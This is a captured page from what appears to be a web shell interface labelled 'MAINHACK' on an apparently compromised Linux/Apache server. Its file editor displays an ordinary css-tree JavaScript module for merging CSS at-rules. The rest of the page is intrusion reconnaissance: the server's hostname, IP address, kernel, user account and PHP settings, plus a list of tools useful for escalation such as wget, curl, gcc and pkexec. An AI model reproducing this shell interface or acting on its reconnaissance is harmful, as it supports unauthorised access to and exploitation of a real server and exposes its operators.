[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: 1-mergeAtrule.js
var List = require('css-tree').List; var resolveKeyword = require('css-tree').keyword; var hasOwnProperty = Object.prototype.hasOwnProperty; var walk = require('css-tree').walk; function addRuleToMap(map, item, list, single) { var node = item.data; var name = resolveKeyword(node.name).basename; var id = node.name.toLowerCase() + '/' + (node.prelude ? node.prelude.id : null); if (!hasOwnProperty.call(map, name)) { map[name] = Object.create(null); } if (single) { delete map[name][id]; } if (!hasOwnProperty.call(map[name], id)) { map[name][id] = new List(); } map[name][id].append(list.remove(item)); } function relocateAtrules(ast, options) { var collected = Object.create(null); var topInjectPoint = null; ast.children.each(function(node, item, list) { if (node.type === 'Atrule') { var name = resolveKeyword(node.name).basename; switch (name) { case 'keyframes': addRuleToMap(collected, item, list, true); return; case 'media': if (options.forceMediaMerge) { addRuleToMap(collected, item, list, false); return; } break; } if (topInjectPoint === null && name !== 'charset' && name !== 'import') { topInjectPoint = item; } } else { if (topInjectPoint === null) { topInjectPoint = item; } } }); for (var atrule in collected) { for (var id in collected[atrule]) { ast.children.insertList( collected[atrule][id], atrule === 'media' ? null : topInjectPoint ); } } }; function isMediaRule(node) { return node.type === 'Atrule' && node.name === 'media'; } function processAtrule(node, item, list) { if (!isMediaRule(node)) { return; } var prev = item.prev && item.prev.data; if (!prev || !isMediaRule(prev)) { return; } // merge @media with same query if (node.prelude && prev.prelude && node.prelude.id === prev.prelude.id) { prev.block.children.appendList(node.block.children); list.remove(item); // TODO: use it when we can refer to several points in source // prev.loc = { // primary: prev.loc, // merged: node.loc // }; } } module.exports = function rejoinAtrule(ast, options) { relocateAtrules(ast, options); walk(ast, { visit: 'Atrule', reverse: true, enter: processAtrule }); };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.59 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002